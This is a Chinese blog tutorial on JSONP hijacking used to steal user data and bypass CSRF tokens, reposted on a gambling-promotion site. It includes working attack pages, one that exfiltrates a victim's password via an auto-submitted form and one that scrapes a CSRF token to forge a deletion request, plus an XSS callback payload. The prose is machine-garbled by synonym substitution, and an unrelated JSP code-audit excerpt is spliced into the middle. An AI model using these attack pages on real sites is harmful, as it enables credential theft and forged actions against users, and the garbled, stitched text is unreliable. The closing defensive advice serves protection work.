JSONP绕过CSRF防护token | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

JSONP绕过CSRF防护token

申博_新闻事件 申博 65次浏览 未收录 0个评论

第一次遇到了jsonp挟制破绽,而且经由历程此破绽绕过token举行胜利的csrf进击,仅以此文举行纪录分享。

JSONP

甚么是jsonp?

Jsonp(JSON with Padding) 是 json 的一种”运用情势”,能够让网页从其余域名(网站)那猎取材料,即跨域读取数据。

JSONP的语法和JSON很像,简朴来讲就是在JSON外部用一个函数包裹着。JSONP基础语法以下:

callback({ "name": "kwan" , "msg": "猎取胜利" });

JSONP道理就是动态插进去带有跨域url的<script>标签,然后挪用回调函数,把我们须要的json数据作为参数传入,经由历程一些逻辑把数据显如今页面上。

罕见的jsonp情势相似:

http://www.test.com/index.html?jsonpcallback=hehe

传过去的hehe就是函数名,服务端返回的是一个函数挪用,能够理解为:evil就是一个函数,([“customername1″,”customername2”])就是函数参数,网站前端只须要再编写代码处置惩罚函数返回的值便可。

jsonp挟制破绽

破绽很简朴,在当地复现一下。

【JSONP_callback.php】:jsonp接口,返回用户的账户暗码(简朴起见,就直接写死返回值了)

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp花样的数据
    echo $callback . "(" . $json_data . ")";
?>

要求该接口并加上callback=hello,返回值以下

JSONP绕过CSRF防护token

在返回值开首中可见hello,若是我们修正callback的值为其他值,此处的返回值也会响应转变。我们能够挟制callback参数,本身组织callback处置惩罚函数,受害者点击我们捏造的链接后,向真正的jsonp接口提议要求,要求获得数据的处置惩罚体式格局由我们本身的callback处置惩罚函数处置惩罚,由此能够到达挟制目的。

好比,我们编写以下进击页面:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
    var myForm = document.createElement("form");
    myForm.action="http://localhost/JSONP_redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/JSONP_callback.php?callback=hehehe"></script>
</body>
</html>

用户接见此页面后,会自动去要求JSONP_callback.php,返回值会进入hehehe函数举行处置惩罚,在hehehe函数中,会弹出暗码值、建立表单自动提交用户暗码到进击者服务器、末了重定向到百度。实际效果以下:

JSONP绕过CSRF防护token

删除弹窗以后,进击历程对受害者就是完全弗成见的。

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x00 前言 代码审计的系统为某计费系统,本着学习交流的态度对本系统进行了审计,在审计过程中发现了诸多安全问题,本文在此列出几项比较经典的漏洞。在此感谢花茶安全团队的天堂空气提供的源码。 0x01 XSS漏洞 在路由userdatachange中存在XSS漏洞,此路由为用户资料修改页面,在此路由中,并不存在XSS漏洞,原因是该系统存在XSS过滤器,但是并不会影响我们保存在数据库中的数据,此XSS代码会在其他地方被触发,造成二阶XSS漏洞。 首先我们来到userdatachange路由,在进入了该userDataChange()函数后,首先会进行登录判断,随后对相关的用户权限和用户信息进行校检,校检通过后进行下面流程。 接下来函数会把我们提交过来的数据进行赋值处理,这里调用了UserDataChangeReq这个接口类的数据,在赋完值后,进行后面处理 在处理完提交过来的数据后,将会调用接口commonService中的updata()这个函数把数据存入数据库中去,可以看到,这些地方没有对数据进行过滤处理,直接把原数据存入数据库 此XSS的触发点为后台某功能处,下面来看下 在后台路由/user/operator中,函数前面还是先对相关的登录用户进行信息和登录状态的检查,在没有问题了后,将组合相关的查询语句 这里调用了数据

绕过token防护举行csrf进击

JSONP挟制实际上是属于CSRF进击领域的,毕竟要拿到敏感数据是须要用户上岸并点击的,以是JSONP挟制是CSRF进击的一种手腕。既然属于CSRF进击领域,那末JSONP挟制所作的天然也不止是读取敏感信息(其实在这点上,零丁的csrf进击还欠好去读取敏感数据),应用JSONP还能够在某些状况下绕过csrf罕见防护情势之一的token防护。

如开首所说,我上周胜利应用了JSONP挟制来完成了一次csrf进击,我以此例来讲明若是经由历程JSONP绕过token防护举行csrf进击。

起首,在目的站上的要求中我发明总是有参数jscallbackhtmlcallback,以是我在一个返回敏感信息的url背面增加了这2个参数,发明均有返回,胜利确认此处有jsonp挟制破绽,然后,我最先去寻觅更多的jsonp接口,出人意料的是,我发明在全部网站上都存在jsonp挟制,而不是纯真在某个连接上。我预测这一状况的缘由是网站每一个页面上的通用代码出了题目,或者是某个js文件出了题目。我查看了几个页面的源代码,发明多是第一种缘由,我在这些源码找到了多个jscallback和htmlcallback。有了jsonp以后,我像上面一样编写进击页面来猎取敏感信息。

然后在对症结操纵举行csrf破绽发掘的时刻,我发明在表单中有个隐蔽的token值,灵光一闪!既然全站都有jsonp,我为何不在这个操纵页面经由历程jsonp猎取到全部页面代码,读取个中的token值,再组织完全的表单,自动提交便可完成csrf进击!圆满的操纵。

说干就干,肯定这个页面的jsonp没有题目(这儿的图截错了,忘了改callback参数值):

JSONP绕过CSRF防护token

编写进击页面的代码以下:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 猎取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 增加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操纵对象中属性名为html的值,正则匹配出token,再到场表单,自动提交表单完成操纵,用户点击该进击页面即收到csrf进击。

在一个功用点完成csrf进击后,我基础能够基于此,完成全站的csrf进击。

然则,在操纵另一个功用点时,发明该功用点还举行referer考证,须要绕过referer。绕过referer也是csrf进击中罕见的场景了,罕见绕过要领:

  • 空referer
  • referer过滤不严谨

这几天我还看到了一个要领,没有实验过:运用requset merging bypass referer(jsonp)检测

能够看到,想要经由历程jsonp挟制来绕过token举行csrf照样挺贫苦的,前提太多:

  1. 有jsonp挟制
  2. 能在源码里找到token
  3. 没有referer防护

jsonp除连打csrf以外,还能够连打xss,即把callback参数值写成xss payload:

?callback=<script>alert()</script>

防护发起

摘自:http://blog.knownsec.com/2015/03/jsonp_security_technic/

1、严厉平安的完成 CSRF 体式格局挪用 JSON 文件:限定 Referer 、布置一次性 Token 等。
2、严厉装置 JSON 花样规范输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
3、严厉过滤 callback 函数名及 JSON 里数据的输出。
4、严厉限定对 JSONP 输出 callback 函数名的长度(如防备上面 flash 输出的要领)。
5、其他一些对照“鄙陋”的要领:如在 Callback 输出之前到场其他字符(如:/**/、回车换行)如许不影响 JSON 文件加载,又能肯定水平防备其他文件花样的输出。还好比 Gmail 夙兴运用 AJAX 的体式格局猎取 JSON ,听过在输出 JSON 之前到场 while(1) ;如许的代码来防备 JS 长途挪用


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明JSONP绕过CSRF防护token
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址